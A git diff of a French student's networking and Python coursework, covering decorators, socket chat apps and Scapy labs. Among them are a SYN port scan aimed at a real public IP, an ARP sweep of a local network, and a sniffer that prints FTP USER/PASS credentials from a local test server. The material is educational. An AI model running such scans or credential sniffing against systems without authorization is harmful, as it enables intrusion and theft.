/dev/null +++ b/Semaine_09/Decorateurs/authentication.py @@ -0,0 +1,24 @@ +from dataclasses import dataclass +from typing import Callable + +@dataclass +class User: + username: str + is_authenticated: bool = False + +def authentication_required(fonction: Callable): + def internal_wrapper(user: User): + if not user.is_authenticated: + return PermissionError(f"L'utilisateur {user.username} n'est pas authentifié.") + return fonction(user) + return internal_wrapper + +@authentication_required +def operation_sensible(user: User): + return f"Opération sensible faite par {user.username}." + +alice = User("alice@courriel.fr", True) +bob = User("bob@courriel.fr") + +print(operation_sensible(alice)) +print(operation_sensible(bob)) \ No newline at end of file diff --git a/Semaine_09/Decorateurs/class_decorator.py b/Semaine_09/Decorateurs/class_decorator.py new file mode 100644 index 0000000..d7759af --- /dev/null +++ b/Semaine_09/Decorateurs/class_decorator.py @@ -0,0 +1,13 @@ +from typing import Callable + +class Decorateur: + def __init__(self, fonction: Callable): + self.fonction = fonction + + def __call__(self, *args, **kwargs): + print(f"Appel de la fonction {self.fonction.__name__}") + return self.fonction(*args, **kwargs) + +@Decorateur +def addition(a, b): + return a + b diff --git a/Semaine_09/Decorateurs/decorator_universal.py b/Semaine_09/Decorateurs/decorator_universal.py new file mode 100644 index 0000000..1358fdc --- /dev/null +++ b/Semaine_09/Decorateurs/decorator_universal.py @@ -0,0 +1,37 @@ +from typing import Callable +import time + +def decorateur(fonction: Callable): + def internal_wrapper(*args, **kwargs): + print(f"Appel de la fonction {fonction.__name__}") + resultat = fonction(*args, **kwargs) + print(f"Fin du décorateur") + return resultat + return internal_wrapper + +def addition(a, b): + return a + b + +def salutations(name): + return f"Bonjour {name}." + +def multiplication(a, b, c): + return a * b * c + +# Décorateur qui calcule le temps d'exécution de n'importe quelle fonction + +def decorateur_temps(fonction: Callable): + def internal_wrapper(*args, **kwargs): + nonlocal time_total + time_start = time.time() + + result = fonction(*args, **kwargs) + + time_duration = time.time() - time_start + time_total += time_duration + + print(f"Temps d'exécution : {time_duration} - Total : {time_total}") + return result + + time_total = 0 + return internal_wrapper \ No newline at end of file diff --git a/Semaine_09/Decorateurs/execution_stats_decorateur.py b/Semaine_09/Decorateurs/execution_stats_decorateur.py new file mode 100644 index 0000000..3d57c6b --- /dev/null +++ b/Semaine_09/Decorateurs/execution_stats_decorateur.py @@ -0,0 +1,62 @@ +""" +Classe décoratrice qui calcule le temps d'exécution +de n'importe quelle fonction et qui l'enregistre +dans une DB SQLite +=> (fonction_name, execution_time, execution_date) +=> Date : YYYY-MM-DD HH:MM:SS + +1. La DB existe ? Oui, Non +2. save() +""" + +import sqlite3 +from typing import Callable +from time import time, strftime, gmtime, perf_counter + + +class Decorateur: + def __init__(self, fonction: Callable): + self.fonction = fonction + self.connection = sqlite3.connect("functions.db") + + def create_table(self): + cursor = self.connection.cursor() + cursor.execute(""" + CREATE TABLE IF NOT EXISTS exec_stats( + function_name TEXT, + execution_time REAL, + execution_date TEXT + ) + """) + self.connection.commit() + + def __call__(self, *args, **kwargs): + print(f"Appel de la fonction {self.fonction.__name__}") + + start_time = time.perf_counter() + resultat = self.fonction(*args, **kwargs) + end_time = time.perf_counter() + execution_time = end_time - start_time + execution_date = time.strftime("%Y-%m-%d %H:%M:%S") + + self.save_to_db( + function_name= self.fonction.__name__, + execution_time= execution_time, + execution_date= execution_date + ) + + return resultat + + def save_to_db(self, function_name, execution_time, execution_date): + cursor = self.connection.cursor() + cursor.execute(""" + INSERT INTO exec_stats(function_name, execution_time, execution_date) + VALUES (?, ?, ?) + """, (function_name, execution_time, execution_date)) + self.connection.commit() + +@Decorateur + + +def test(): + return f"Bah ouais quoi." \ No newline at end of file diff --git a/Semaine_09/Decorateurs/fonctions.db b/Semaine_09/Decorateurs/fonctions.db new file mode 100644 index 0000000..2c9a9dc Binary files /dev/null and b/Semaine_09/Decorateurs/fonctions.db differ diff --git a/Semaine_09/Decorateurs/function_decorator.py b/Semaine_09/Decorateurs/function_decorator.py new file mode 100644 index 0000000..f6f2072 --- /dev/null +++ b/Semaine_09/Decorateurs/function_decorator.py @@ -0,0 +1,11 @@ +from typing import Callable + +def decorateur(fonction: Callable): + print(f"Appel de la fonction {fonction.__name__}") + return fonction # où il retourne le résultat de la fonction + +def simple_fonction(): + print("Hello tout le monde !") + +fonction_decoree = decorateur(simple_fonction) +fonction_decoree() \ No newline at end of file diff --git a/Semaine_09/Decorateurs/main.py b/Semaine_09/Decorateurs/main.py new file mode 100644 index 0000000..7d7e77a --- /dev/null +++ b/Semaine_09/Decorateurs/main.py @@ -0,0 +1,13 @@ +import argparse + +parser = argparse.ArgumentParser(description= "Outil de salutation") +parser.add_argument("nom", help= "Le nom de la personne à saluer") +parser.add_argument("--majuscule", action= "store_true", help= "Afficher le message de salutation en majuscules") + +args = parser.parse_args() + +message = f"Bonjour {args.nom}" +if args.majuscule: + message = message.upper() + +print(message) \ No newline at end of file diff --git a/Semaine_09/Decorateurs/netinfo.py b/Semaine_09/Decorateurs/netinfo.py new file mode 100644 index 0000000..baadbd4 --- /dev/null +++ b/Semaine_09/Decorateurs/netinfo.py @@ -0,0 +1,63 @@ +import argparse +import time + +### Générer adresse IP +import random +import socket +import struct + +def ip_address(): + return socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff))) +### Fin du bloc de l'addresse IP + +parser = argparse.ArgumentParser(prog="NetInfo", description= "Outil réseau") +parser.add_argument("-v", "--verbose", action="store_true", help="Mode verbeux") +subparsers = parser.add_subparsers(dest="commande", help="Commande à exécuter") + +# parent_parser = argparse.ArgumentParser(add_help=False) +# parent_parser.add_argument("-v", "--verbose", action="store_true", help="Mode verbeux") + +scan_parser = subparsers.add_parser("scan", help="Scan d'un hôte") +scan_parser.add_argument("host", default="192.168.1.1", help="Adresse IP de l'hôte cible") +scan_parser.add_argument("-p", "--ports", default=[80], nargs= "+", type= int) + +whois_parser = subparsers.add_parser("whois", help="Ping sur un hôte") +whois_parser.add_argument("domain", help="Domaine désiré pour les informations") + +args = parser.parse_args() + +def net_info(fonction): + def internal_wrapper(args): + if args.verbose: + print(f"[DEBUG] Lancement de la commande...") + start_time = time.perf_counter() + result = fonction(args) + print(f"[DEBUG] Commande terminée.") + print(f"[DEBUG] Commande exécutée en {time.perf_counter() - start_time} secondes.") + return result + return fonction(args) + return internal_wrapper + +@net_info +def scan(args): + print(f"Scan de l'hôte: {args.host}") + results = [] + for port in args.ports: + status = "ouvert" if port % 2 == 0 else "fermé" + results.append(f"Port {port}: {status}") + print(f"Port {port}: {status}") + return results + +@net_info +def whois(args): + print(f"WHOIS pour {args.domain}") + print(f"\ + IP : {ip_address()}\n\ + Registrar : Exemple\n\ + Expirattion : Bientôt\n\ + ") + +if args.commande == "scan": + scan(args) +elif args.commande == "whois": + whois(args) \ No newline at end of file diff --git a/Semaine_09/Decorateurs/network.py b/Semaine_09/Decorateurs/network.py new file mode 100644 index 0000000..99498cc --- /dev/null +++ b/Semaine_09/Decorateurs/network.py @@ -0,0 +1,11 @@ +import argparse + +parser = argparse.ArgumentParser(description= "Outil réseau") +subparsers = parser.add_subparsers(dest="commande", help="Commande à exécuter") + +scan_parser = subparsers.add_parser("scan", help="Scan d'un hôte") +scan_parser.add_argument("--host") +scan_parser.add_argument("--port", nargs= "+", type= int) + +ping_parser = subparsers.add_parser("ping", help="Ping sur un hôte") +ping_parser.add_argument() \ No newline at end of file diff --git a/Semaine_09/Decorateurs/pyproject.toml b/Semaine_09/Decorateurs/pyproject.toml new file mode 100644 index 0000000..3075dc6 --- /dev/null +++ b/Semaine_09/Decorateurs/pyproject.toml @@ -0,0 +1,9 @@ +[project] +name = "jour-01" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [ + "typing>=3.10.0.0", +] diff --git a/Semaine_09/Decorateurs/required_role.py b/Semaine_09/Decorateurs/required_role.py new file mode 100644 index 0000000..b927748 --- /dev/null +++ b/Semaine_09/Decorateurs/required_role.py @@ -0,0 +1,27 @@ +from dataclasses import dataclass, field +from typing import Callable + +@dataclass +class User: + username: str + is_authenticated: bool = False + roles: list[str] = field(default_factory=lambda: ["user"]) + + +def required_roles(roles: list[str]): + def wrapper(fonction: Callable): + def internal_wrapper(user: User): + if not any(role in user.roles for role in roles): # True => [False, False, True] + raise PermissionError(f"L'utilisateur {user.username} n'a pas le rôle requis.") + return fonction(user) + return internal_wrapper + return wrapper + +@required_roles(["admin", "modo"]) +def operation_sensible(user: User): + return f"Opération sensible faite par {user.username}" + +alice = User("alice@courriel.fr", True, ["modo"]) +bob = User("bob@courriel.fr", True) + +print(operation_sensible(alice)) \ No newline at end of file diff --git a/Semaine_09/Decorateurs/scanner.py b/Semaine_09/Decorateurs/scanner.py new file mode 100644 index 0000000..80e1904 --- /dev/null +++ b/Semaine_09/Decorateurs/scanner.py @@ -0,0 +1,19 @@ +""" +uv run scanner.py --host 192.0.0.1 --port 80 -t 2.5 +-h / --host : hôte en texte +-p / --port : port en int +-t / --timeout : timeout en secondes (float) +""" + +import argparse + +parser = argparse.ArgumentParser(prog="Bistro", description= "Connexion à un serveur distant") + +parser.add_argument("--host", type= str, help= "Défini l'emplacement du serveur") +parser.add_argument("-p", "--ports", type= int, choices= [80, 443, 3000, 8000], nargs= "+", default= 80, help= "Défini le port visé sur le serveur") +parser.add_argument("-t", "--timeout", type= float, help= "Défini (optionnellement) une durée d'exécution maximum sans retour du serveur avant échec") + +args = parser.parse_args() + +for port in args.ports: + print(f"Scan de {args.host} sur le port {port} (timeout= {args.timeout})") \ No newline at end of file diff --git a/Semaine_09/Decorateurs/uv.lock b/Semaine_09/Decorateurs/uv.lock new file mode 100644 index 0000000..0b2f65e --- /dev/null +++ b/Semaine_09/Decorateurs/uv.lock @@ -0,0 +1,23 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "jour-01" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "typing" }, +] + +[package.metadata] +requires-dist = [{ name = "typing", specifier = ">=3.10.0.0" }] + +[[package]] +name = "typing" +version = "3.10.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b0/1b/835d4431805939d2996f8772aca1d2313a57e8860fec0e48e8e7dfe3a477/typing-3.10.0.0.tar.gz", hash = "sha256:13b4ad211f54ddbf93e5901a9967b1e07720c1d1b78d596ac6a439641aa1b130", size = 78962, upload-time = "2021-05-01T18:03:58.186Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f2/5d/865e17349564eb1772688d8afc5e3081a5964c640d64d1d2880ebaed002d/typing-3.10.0.0-py3-none-any.whl", hash = "sha256:12fbdfbe7d6cca1a42e485229afcb0b0c8259258cfb919b8a5e2a5c953742f89", size = 26320, upload-time = "2021-05-01T18:03:56.398Z" }, +] diff --git a/Semaine_09/Decorateurs/verbose.py b/Semaine_09/Decorateurs/verbose.py new file mode 100644 index 0000000..f11f875 --- /dev/null +++ b/Semaine_09/Decorateurs/verbose.py @@ -0,0 +1,25 @@ +import argparse +import time + +def timer_command(fonction): + def internal_wrapper(args): + if args.verbose: + print("[DEBUG] Lancement de la commande...") + start_time = time.perf_counter() + result = fonction(args) + print(f"[DEBUG] Terminé en {time.perf_counter() - start_time}") + return result + return fonction(args) + return internal_wrapper + +parser = argparse.ArgumentParser(description="Un scanneur") +parser.add_argument("-n", "--numbers", nargs= "+", type= int, help="Nombres à additioner") +parser.add_argument("-v", "--verbose", action="store_true", help="Mode verbeux") + +@timer_command +def addition(args): + return sum(args.numbers) + +args = parser.parse_args() + +print(addition(args)) \ No newline at end of file diff --git a/Semaine_09/Scapy_test/.python-version b/Semaine_09/Scapy_test/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_09/Scapy_test/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_09/Scapy_test/README.md b/Semaine_09/Scapy_test/README.md new file mode 100644 index 0000000..1142475 --- /dev/null +++ b/Semaine_09/Scapy_test/README.md @@ -0,0 +1,3 @@ +``` +uv add pyftpdlib +``` \ No newline at end of file diff --git a/Semaine_09/Scapy_test/analyze_pcap.py b/Semaine_09/Scapy_test/analyze_pcap.py new file mode 100644 index 0000000..efc4c89 --- /dev/null +++ b/Semaine_09/Scapy_test/analyze_pcap.py @@ -0,0 +1,18 @@ +from scapy.all import rdpcap, TCP, UDP, ICMP, ARP + +packets = rdpcap("ultimate.pcapng") +protocols = {"TCP": TCP, "UDP": UDP, "ICMP": ICMP, "ARP": ARP} + +stats = {name: 0 for name in [*protocols, "Others"]} + +for packet in packets: + for name, layer in protocols.items(): + if packet.haslayer(layer): + stats[name] += 1 + break + stats["Others"] += 1 + +print("Répartition par protocole") +for proto, count in stats.items(): + if count > 0: + print(f"{proto:6} : {count} paquets.") \ No newline at end of file diff --git a/Semaine_09/Scapy_test/client_ftp.py b/Semaine_09/Scapy_test/client_ftp.py new file mode 100644 index 0000000..196320e --- /dev/null +++ b/Semaine_09/Scapy_test/client_ftp.py @@ -0,0 +1,7 @@ +from ftplib import FTP + +ftp = FTP() +ftp.connect("127.0.0.1", 2121) +ftp.login("John", "P4ssword!") +print("Connecté au serveur.") +ftp.quit() \ No newline at end of file diff --git a/Semaine_09/Scapy_test/detect_faces.py b/Semaine_09/Scapy_test/detect_faces.py new file mode 100644 index 0000000..ca6c2b3 --- /dev/null +++ b/Semaine_09/Scapy_test/detect_faces.py @@ -0,0 +1,42 @@ +import cv2 +import os + +DOSSIER_IMAGES = "./images_extraites" +DOSSIER_VISAGES = "./visages_detectes" + +def detecter_visages(dossier_src=DOSSIER_IMAGES, dossier_dst=DOSSIER_VISAGES): + os.makedirs(dossier_dst, exist_ok=True) + modele = cv2.data.haarcascades + "haarcascade_frontalface_default.xml" + detecteur = cv2.CascadeClassifier(modele) + compteur = 0 + + for nom_fichier in os.listdir(dossier_src): + if not nom_fichier.lower().endswith((".jpg", ".jpeg", ".png")): + continue + + chemin = os.path.join(dossier_src, nom_fichier) + image = cv2.imread(chemin) + if image is None: + continue + + gris = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) + + visages = detecteur.detectMultiScale(gris, scaleFactor=1.05, minNeighbors=4, minSize=(20, 20)) + + if len(visages) == 0: + print(f" {nom_fichier} : aucun visage") + continue + + print(f" {nom_fichier} : {len(visages)} visage(s) détecté(s)") + + for (x, y, largeur, hauteur) in visages: + cv2.rectangle(image, (x, y), (x + largeur, y + hauteur), (0, 255, 0), 2) + + chemin_sortie = os.path.join(dossier_dst, nom_fichier) + cv2.imwrite(chemin_sortie, image) + compteur += 1 + + print(f"\n{compteur} images avec visages sauvegardées dans {dossier_dst}/") + +if __name__ == "__main__": + detecter_visages() \ No newline at end of file diff --git a/Semaine_09/Scapy_test/extract_content.py b/Semaine_09/Scapy_test/extract_content.py new file mode 100644 index 0000000..2de2634 --- /dev/null +++ b/Semaine_09/Scapy_test/extract_content.py @@ -0,0 +1,3 @@ +from collections import namedtuple + +Response = namedtuple("Response", ["header"]) \ No newline at end of file diff --git a/Semaine_09/Scapy_test/extract_header.py b/Semaine_09/Scapy_test/extract_header.py new file mode 100644 index 0000000..79ef2e2 --- /dev/null +++ b/Semaine_09/Scapy_test/extract_header.py @@ -0,0 +1,16 @@ +import re # RegEx + +def extract_header(payload): + try: + header_brut = payload[:payload.index(b"\r\n\r\n") + 2] + except ValueError: + return None + + header = dict(re.findall( + r"(?P.*?): (?P.*?)\r\n", + header_brut.decode(errors="ignore") + )) + + if "Content-Type" not in header: + return None + return header \ No newline at end of file diff --git a/Semaine_09/Scapy_test/extractor.py b/Semaine_09/Scapy_test/extractor.py new file mode 100644 index 0000000..7e39347 --- /dev/null +++ b/Semaine_09/Scapy_test/extractor.py @@ -0,0 +1,36 @@ +from scapy.all import TCP + +class Extracteur: + def __init__(self, fichier_pcap): + pcap = rdpcap(fichier_pcap) + self.sessions = pcap.sessions() + self.responses = [] + + def trouver_reponses(self): + for session in self.sessions: + payload = b"" + for paquet in self.sessions[session]: + try: + if paquet[TCP].dport == 80 or paquet[TCP].sport == 80: + payload += bytes(paquet[TCP].payload) + except IndexError: + pass + + if payload: + header = extract_header(payload) + if header is None: + continue + self.responses.append(Response(header=header, payload=payload)) + + def ecrire_images(self): + os.makedirs(DOSSIER_SORTIE, exist_ok=True) + compteur = 0 + for response in self.responses: + contenu, content_type = extract_content(response) + if contenu and content_type: + nom = os.path.join(DOSSIER_SORTIE, f"image_{compteur}.{content_type}") + with open(nom, "wb") as f: + f.write(contenu) + print(f" {nom}") + compteur += 1 + print(f"\n{compteur} images extraites") \ No newline at end of file diff --git a/Semaine_09/Scapy_test/http_with_jpegs.cap b/Semaine_09/Scapy_test/http_with_jpegs.cap new file mode 100644 index 0000000..ec818c6 Binary files /dev/null and b/Semaine_09/Scapy_test/http_with_jpegs.cap differ diff --git a/Semaine_09/Scapy_test/main.py b/Semaine_09/Scapy_test/main.py new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_09/Scapy_test/pyproject.toml b/Semaine_09/Scapy_test/pyproject.toml new file mode 100644 index 0000000..f1ab1b2 --- /dev/null +++ b/Semaine_09/Scapy_test/pyproject.toml @@ -0,0 +1,10 @@ +[project] +name = "scappy-test" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [ + "pyftpdlib>=2.2.0", + "scapy>=2.7.0", +] diff --git a/Semaine_09/Scapy_test/server_ftp.py b/Semaine_09/Scapy_test/server_ftp.py new file mode 100644 index 0000000..c539d2b --- /dev/null +++ b/Semaine_09/Scapy_test/server_ftp.py @@ -0,0 +1,14 @@ +from pyftpdlib.handlers import FTPHandler + +from pyftpdlib.authorizers import DummyAuthorizer +from pyftpdlib.servers import FTPServer + +authorizer = DummyAuthorizer() +authorizer.add_user("John", "P4ssword!", ".", perm="r") + +handler = FTPHandler +handler.authorizer = authorizer + +server = FTPServer(("127.0.0.1", 2121), handler) +print("Serveur FTP démarré") +server.serve_forever() \ No newline at end of file diff --git a/Semaine_09/Scapy_test/sniffer.py b/Semaine_09/Scapy_test/sniffer.py new file mode 100644 index 0000000..e520264 --- /dev/null +++ b/Semaine_09/Scapy_test/sniffer.py @@ -0,0 +1 @@ +from scapy.all import sniff, conf, DNSQR, DNS, \ No newline at end of file diff --git a/Semaine_09/Scapy_test/sniffer_ftp.py b/Semaine_09/Scapy_test/sniffer_ftp.py new file mode 100644 index 0000000..92099a6 --- /dev/null +++ b/Semaine_09/Scapy_test/sniffer_ftp.py @@ -0,0 +1,28 @@ +import platform +from scapy.all import sniff, TCP, IP, conf, get_if_list +from scapy.packet import Packet + +conf.sniff_promisc = False +system = platform.system() + +# Interface de déboguage (si le nom de l'adaptateur n'est pas celui renseigné plus bas) +# print("Interfaces disponibles:") +# for iface in get_if_list(): +# print(f" - {iface}") + +match system: + case "Darwin": # MacOS + lo = "lo0" + case "Windows": + lo = "\\Device\\NPF_Loopback" + case _: # Certainement du Linux + lo = "lo" + +def detecter_credentials(paquet: Packet): + if paquet.haslayer(TCP) and paquet[TCP].payload: + payload = bytes(paquet[TCP].payload).decode(errors="ignore") + if payload.startswith("USER ") or payload.startswith("PASS "): + print(f"{paquet[IP].src} => {paquet[IP].dst}") + print(payload.strip()) + +sniff(filter= "tcp port 2121", iface= lo, prn= detecter_credentials, store= 0) \ No newline at end of file diff --git a/Semaine_09/Scapy_test/test.py b/Semaine_09/Scapy_test/test.py new file mode 100644 index 0000000..335ca4d --- /dev/null +++ b/Semaine_09/Scapy_test/test.py @@ -0,0 +1,35 @@ +from scapy.all import IP, ICMP, sr1, conf, TCP, ARP, Ether, srp, UDP, DNS, DNSQR, Packet + +conf.sniff_promisc = False + +cible = "79.137.78.240" # datafrance.fr, le site de Rachid +ports = [22, 80, 443, 8080, 3306] + +# __truediv__ +for port in ports: + paquet = IP(dst= cible) / TCP(dport= port, flags= 'S') + reponse = sr1(paquet, timeout= 1, verbose= 0) + + if reponse and reponse[TCP].flags == 'SA': # SYN-ACK, le serveur répond "oui" aux connexions + print(f"Port {port}: ouvert") + else: + print(f"Port {port}: fermé ou filtré") + + +paquet = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst="192.168.1.0/24") # Ether : adresse Broadcast (tous les appareils) / ARP : "qui a cette adresse ?" +reponses, _ = srp(paquet, timeout= 2, verbose= 0) +print(f"{len(reponses)} hôtes détectés: ") + +for envoi, reception in reponses: + print(f"{reception.psrc} -> {reception.hwsrc}") + + +requete = IP(dst= '1.1.1.1') / UDP(dport= 53) / DNS( + rd= 1, # Recursive Desired (demande une réponse) + qd= DNSQR(qname= "datafrance.fr") # Résolution de datafrance.fr +) + +reponse = sr1(requete, timeout= 2, verbose= 0) +if reponse and reponse.haslayer(DNS): + for i in range(reponse[DNS].ancount): + print(reponse[DNS].an[i].rdata) # rdata : Response Data \ No newline at end of file diff --git a/Semaine_09/Scapy_test/ultimate.pcapng b/Semaine_09/Scapy_test/ultimate.pcapng new file mode 100644 index 0000000..9628653 Binary files /dev/null and b/Semaine_09/Scapy_test/ultimate.pcapng differ diff --git a/Semaine_09/Scapy_test/uv.lock b/Semaine_09/Scapy_test/uv.lock new file mode 100644 index 0000000..05b6bf0 --- /dev/null +++ b/Semaine_09/Scapy_test/uv.lock @@ -0,0 +1,58 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "pyasynchat" +version = "1.0.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pyasyncore" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ec/d2/b41df9021c12ca314146abcde7bdd3d9d37d44cc01559d7f13df459ee586/pyasynchat-1.0.5.tar.gz", hash = "sha256:36665473ae730dac51e6d7dad70f8295962120c830ab692f0a31efba32687e24", size = 9959, upload-time = "2026-01-05T20:05:27.712Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/48/e8/e5ad498cb6a834c16af910e259926fd545dd7873a2da451f3a2bb228d7ee/pyasynchat-1.0.5-py3-none-any.whl", hash = "sha256:35b7859515693e479e8d95ebe9f32cbf4d6312ab7599ced39fc24699e51de46f", size = 7869, upload-time = "2026-01-05T20:05:26.613Z" }, +] + +[[package]] +name = "pyasyncore" +version = "1.0.5" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/4e/43/035dfe0cb01687c1940fdc008f46a43c41067e226e862df49327469764a0/pyasyncore-1.0.5.tar.gz", hash = "sha256:dd483d5103a6d59b66b86e0ca2334ad43dca732ff23a0ac5d63c88c52510542e", size = 15854, upload-time = "2026-01-05T19:59:31.893Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1f/ab/b10cee56269ae150763f3f83b3e9305a11f42f50b3dcd58eeb8f7988f0bb/pyasyncore-1.0.5-py3-none-any.whl", hash = "sha256:269bbc5252671827387636822841a1fb721ec6e858b23a3e12cf92eb1f97da2a", size = 10237, upload-time = "2026-01-05T19:59:30.824Z" }, +] + +[[package]] +name = "pyftpdlib" +version = "2.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pyasynchat" }, + { name = "pyasyncore" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f9/42/8751c5f58ae59b09e070da4fa322ae9693a340d2cc456b5a380b2c1ee47a/pyftpdlib-2.2.0.tar.gz", hash = "sha256:4ba0642078792df63dd3b2e9c8f838f2a3ecf428c7518d5921c0530d53512acf", size = 189150, upload-time = "2026-02-07T23:09:26.519Z" } + +[[package]] +name = "scappy-test" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "pyftpdlib" }, + { name = "scapy" }, +] + +[package.metadata] +requires-dist = [ + { name = "pyftpdlib", specifier = ">=2.2.0" }, + { name = "scapy", specifier = ">=2.7.0" }, +] + +[[package]] +name = "scapy" +version = "2.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/97/7caec64f05eae3d305d83e7cce1ef2f337710513b89efb334f7278202e79/scapy-2.7.0.tar.gz", hash = "sha256:bfc1ef1b93280aea1ddee53be7f74232aa28ac3d891244d41ee85200d24aa446", size = 2412897, upload-time = "2025-12-26T22:10:53.359Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f0/6f/bd32e5e8adc391063858da17271bb444e4b009842cffa593bca8b2b78af7/scapy-2.7.0-py3-none-any.whl", hash = "sha256:eb22786da92be6fd8e5c694ae5595e4f5b9ac1f4364c9c45986844f3e3063561", size = 2590982, upload-time = "2025-12-26T22:07:48.941Z" }, +] diff --git a/Semaine_09/Socket_app/.python-version b/Semaine_09/Socket_app/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_09/Socket_app/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_09/Socket_app/README.md b/Semaine_09/Socket_app/README.md new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_09/Socket_app/client_tcp.py b/Semaine_09/Socket_app/client_tcp.py new file mode 100644 index 0000000..96d7e5f --- /dev/null +++ b/Semaine_09/Socket_app/client_tcp.py @@ -0,0 +1,14 @@ +import socket +from env_var import SERVER_PORT, CLIENT_PORT + +client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +client.bind(("localhost", CLIENT_PORT)) +client.connect(("localhost", SERVER_PORT)) + +print(f"✅ Client connecté au serveur sur port {SERVER_PORT} depuis le port {CLIENT_PORT}") +client.send("Salut tout le monde !".encode()) + +reponse = client.recv(1024).decode() +print(reponse) + +client.close() \ No newline at end of file diff --git a/Semaine_09/Socket_app/client_udp.py b/Semaine_09/Socket_app/client_udp.py new file mode 100644 index 0000000..2199cb9 --- /dev/null +++ b/Semaine_09/Socket_app/client_udp.py @@ -0,0 +1,16 @@ +import socket +from env_var import SERVER_PORT, CLIENT_PORT + +client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) +# client.bind(("localhost", CLIENT_PORT)) +# client.connect(("localhost", SERVER_PORT)) + +client.sendto( + "Salut depuis UDP".encode(), + ("localhost", SERVER_PORT) +) + +data, server_address = client.recvfrom(1024) +print(f"Réponse du serveur : {data.decode()}") + +client.close() \ No newline at end of file diff --git a/Semaine_09/Socket_app/env_var.py b/Semaine_09/Socket_app/env_var.py new file mode 100644 index 0000000..b012d81 --- /dev/null +++ b/Semaine_09/Socket_app/env_var.py @@ -0,0 +1,2 @@ +SERVER_PORT = 9999 +CLIENT_PORT = 11111 \ No newline at end of file diff --git a/Semaine_09/Socket_app/pyproject.toml b/Semaine_09/Socket_app/pyproject.toml new file mode 100644 index 0000000..e580bf6 --- /dev/null +++ b/Semaine_09/Socket_app/pyproject.toml @@ -0,0 +1,7 @@ +[project] +name = "socket-app" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [] diff --git a/Semaine_09/Socket_app/server_tcp.py b/Semaine_09/Socket_app/server_tcp.py new file mode 100644 index 0000000..47e4697 --- /dev/null +++ b/Semaine_09/Socket_app/server_tcp.py @@ -0,0 +1,19 @@ +import socket +from env_var import SERVER_PORT + +server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +server.bind(("localhost", SERVER_PORT)) +server.listen() + +print(f"✅ Serveur en écoute sur le port {SERVER_PORT}") +client_socket, client_address = server.accept() +print(f"Connexion reçue de {client_address}") + +message = client_socket.recv(1024) # nombre de bytes +print(f"Message reçu : {message.decode()}") + +reponse = "Bien reçu Bien reçu." +client_socket.send(reponse.encode()) + +client_socket.close() +server.close() \ No newline at end of file diff --git a/Semaine_09/Socket_app/server_udp.py b/Semaine_09/Socket_app/server_udp.py new file mode 100644 index 0000000..a4ab055 --- /dev/null +++ b/Semaine_09/Socket_app/server_udp.py @@ -0,0 +1,24 @@ +import socket +from env_var import SERVER_PORT + +server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) +server.bind(("localhost", SERVER_PORT)) +# server.listen() + +print(f"✅ Serveur en écoute sur le port {SERVER_PORT}") +data, client_address = server.recvfrom(1024) +print(f"Message reçu de {client_address} : {data.decode()}") + +reponse = "Bien reçu Bien reçu." +server.sendto("Message bien reçu.".encode(), client_address) +server.close() + +### Et si le message reçu a plus de bytes que le tampon ? On le découpe pardi ! +def receive_all(sock, buffer= 1024): + data = b"" + while True: + chunk = sock.recv(buffer) + if not chunk: + break + data += chunk + return data \ No newline at end of file diff --git a/Semaine_09/Socket_app/uv.lock b/Semaine_09/Socket_app/uv.lock new file mode 100644 index 0000000..0c7cc59 --- /dev/null +++ b/Semaine_09/Socket_app/uv.lock @@ -0,0 +1,8 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "socket-app" +version = "0.1.0" +source = { virtual = "." } diff --git a/Semaine_09/Socket_chat/.python-version b/Semaine_09/Socket_chat/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_09/Socket_chat/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_09/Socket_chat/README.md b/Semaine_09/Socket_chat/README.md new file mode 100644 index 0000000..9a8161f --- /dev/null +++ b/Semaine_09/Socket_chat/README.md @@ -0,0 +1,3 @@ +``` +uv add websockets +``` \ No newline at end of file diff --git a/Semaine_09/Socket_chat/client.py b/Semaine_09/Socket_chat/client.py new file mode 100644 index 0000000..59334ec --- /dev/null +++ b/Semaine_09/Socket_chat/client.py @@ -0,0 +1,30 @@ +import socket +from env_var import SERVER_PORT, CLIENT_PORT + +def main(): + client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + client.connect(("localhost", SERVER_PORT)) + # client.bind(("localhost", CLIENT_PORT)) + + print("🤝 Clavardage démarré. Tapez vos messages à la suite. Tapez 'Q' pour quitter.") + + while True: + + # Clavardage + + message = input("MESSAGE > ") + + if message.upper() == "Q": + client.close() + 